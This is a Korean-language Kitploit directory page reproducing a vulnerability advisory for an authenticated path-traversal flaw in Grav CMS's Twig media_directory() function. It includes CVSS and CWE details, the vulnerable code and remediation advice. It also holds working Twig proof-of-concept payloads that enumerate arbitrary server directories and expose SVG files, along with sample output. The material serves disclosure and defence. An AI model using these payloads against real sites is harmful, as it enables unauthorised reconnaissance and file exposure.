Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-78851 — Grav CMS의 Twig media_directory() 함수에서 인증된 경로 탐색 취약점을 상세히 설명하는 기술 자문으로, 임의 디렉터리 열거 및 파일시스템 경로 노출을 가능하게 합니다. | Kitploit
도구/GitHubGitHub/slo-cyber-sec/cve-2026-78851
Vulnerability AnalysisExploitationInformation GatheringWeb SecurityPenetration Testing
GitHubslo-cyber-sec/cve-2026-78851

CVE-2026-78851

Grav CMS의 Twig media_directory() 함수에서 인증된 경로 탐색 취약점을 상세히 설명하는 기술 자문으로, 임의 디렉터리 열거 및 파일시스템 경로 노출을 가능하게 합니다.

저장소 보기
82개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Grav 인증된 경로 탐색 / Twig media_directory()를 통한 임의 디렉터리 정보 노출

보고자

이름: CYBER-SEC
연락처: [email protected]

요약

Grav의 Twig 함수 media_directory()는 페이지 콘텐츠 Twig 샌드박스 허용 목록에 노출되어 있지만, 비스트림 입력에 대한 경로 포함 제한을 제대로 적용하지 않습니다.

페이지 편집 권한이 있는 인증된 사용자는 Twig가 활성화된 페이지 콘텐츠 내에서 media_directory('/absolute/path')를 호출하거나 media_directory('../../../../path')와 같은 상대 경로 탐색을 사용할 수 있습니다. 그러면 Grav는 웹 서버 사용자가 읽을 수 있는 디렉터리에서 미디어 유형 파일을 인덱싱합니다.

반환된 Medium 객체는 filepath 및 filename과 같은 샌드박스 허용 속성을 노출하여 임의 디렉터리 열거 및 절대 파일 시스템 경로 노출을 초래합니다. 이미지/SVG 파일의 경우 URL 또는 캐시 생성으로 인해 Grav의 공개 캐시 처리를 통해 파일이 노출될 수 있습니다.

이는 인증된 정보 노출 취약점입니다. 인증되지 않은 악용이나 직접적인 원격 코드 실행은 가능하지 않은 것으로 알려져 있습니다.

영향을 받는 제품

제품: Grav 플랫 파일 CMS
저장소: https://github.com/getgrav/grav
검증된 영향을 받는 버전: 2.0.3, 2.0.4, 2.0.6
구성 요소: Twig media_directory() / Grav 페이지 콘텐츠 Twig 샌드박스

CWE

  • CWE-22: 제한된 디렉터리의 경로명에 대한 부적절한 제한("경로 탐색")
  • CWE-200: 권한 없는 행위자에게 민감한 정보 노출

CVSS v3.1

벡터: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
기본 점수: 6.5 중간

공격 요구 사항

  • 공격자는 인증되어 있어야 합니다.
  • 공격자는 페이지 편집 권한이 있어야 합니다.
  • Twig 콘텐츠 처리가 활성화되어 있어야 합니다.
  • 대상 디렉터리는 웹 서버 사용자가 읽을 수 있어야 합니다.

기술적 세부 사항

취약한 지점은 다음 위치에 있습니다:

root@kitploit:~
system/src/Grav/Common/Twig/Extension/GravExtension.php

관련 로직:

root@kitploit:~
public function mediaDirFunc($media_dir)
{
    $locator = $this->grav['locator'];

    if ($locator->isStream($media_dir)) {
        $media_dir = $locator->findResource($media_dir);
    }

    if ($media_dir && file_exists($media_dir)) {
        return new Media($media_dir);
    }

    return null;
}

stream:// 입력만 Grav의 로케이터를 통해 해석됩니다. 비스트림 절대 경로 또는 상대 경로는 정규화된 realpath() 검증, 탐색 거부, 또는 승인된 Grav 제어 디렉터리로의 포함 제한 없이 그대로 new Media($media_dir)에 전달됩니다.

이 함수는 페이지 콘텐츠 Twig 샌드박스 허용 목록을 통해 노출됩니다:

root@kitploit:~
system/config/security.yaml
allowed_functions:
  - media_directory

샌드박스는 또한 다음과 같은 Medium 메서드/속성을 허용합니다:

root@kitploit:~
filepath
filename
url
cache
resize

이로 인해 인증된 페이지 편집자가 임의의 읽기 가능한 디렉터리에서 파일 이름과 절대 경로를 노출할 수 있습니다. 이미지/SVG 파일의 경우 공개 URL/캐시 생성을 통해 파일 콘텐츠가 노출될 수 있습니다.

개념 증명

Twig 콘텐츠 처리가 활성화된 상태에서 Grav 페이지를 생성하거나 편집하고 다음을 삽입합니다:

root@kitploit:~
{% for name, m in media_directory('/var/www') %}
{{ name }} = {{ m.filepath }}
{% endfor %}

탐색 형식:

root@kitploit:~
{% for name, m in media_directory('../../../../app/www/public') %}
{{ name }} = {{ m.filepath }}
{% endfor %}

이미지/SVG 노출 예시:

root@kitploit:~
{{ media_directory('/absolute/path/to/private')['secret.svg'].url }}

페이지가 저장되고 렌더링되면 Grav은 공격자가 제어하는 경로에서 파일을 인덱싱하고 파일 이름과 절대 파일 시스템 경로를 노출합니다.

검증된 동작

linuxserver/grav:latest Docker 이미지를 사용하여 Grav 2.0.6에 대해 검증되었습니다.

관찰된 결과는 다음과 같습니다:

root@kitploit:~
LICENSE.txt    => /app/www/public/LICENSE.txt
composer.json  => /app/www/public/composer.json
robots.txt     => /app/www/public/robots.txt
now.json       => /app/www/public/now.json

상대 경로 탐색도 확인되었습니다:

root@kitploit:~
../../../../app/www/public

.url을 통한 SVG 파일 노출도 통제된 로컬 테스트 환경에서 확인되었습니다.

영향

인증된 페이지 편집자는 다음을 수행할 수 있습니다:

  • 웹 서버 사용자가 읽을 수 있는 임의 디렉터리에서 미디어 유형 파일을 열거합니다.
  • 절대 파일 시스템 경로와 파일 이름을 노출합니다.
  • 애플리케이션 구조와 서버 측 파일 시스템 레이아웃을 파악합니다.
  • 이름을 통해 민감한 파일, 백업, 구성 파일, 로그 또는 배포 아티팩트를 식별합니다.
  • 공개 캐시 또는 URL 생성을 통해 의도된 웹 루트 외부의 이미지/SVG 파일을 잠재적으로 노출합니다.

이 취약점은 정보 노출 등급이며 원격 코드 실행으로 보고되어서는 안 됩니다.

해결 방안

권장 수정 사항:

  1. 페이지 콘텐츠 Twig 샌드박스 허용 목록에서 media_directory를 제거합니다.

또는:

  1. media_directory()에 엄격한 정규 경로 포함 제한을 적용합니다:
  • realpath()를 사용하여 모든 경로를 해석합니다.
  • 탐색 시퀀스가 포함된 경로를 거부합니다.
  • 승인된 Grav 제어 루트 외부로 해석되는 경로를 거부합니다.
  • user://pages, user://images 또는 명시적으로 승인된 기타 미디어 디렉터리와 같은 안전한 루트만 허용합니다.
  • 파일 인덱싱 전과 캐시/URL 생성 전에 경로를 재검증합니다.

공개

이 문제는 CYBER-SEC에 의해 보고되었습니다.

참고 자료

  • https://github.com/getgrav/grav
  • https://github.com/getgrav/grav/releases
  • https://getgrav.org/downloads
  • https://github.com/getgrav/grav/security/advisories
도구 다운로드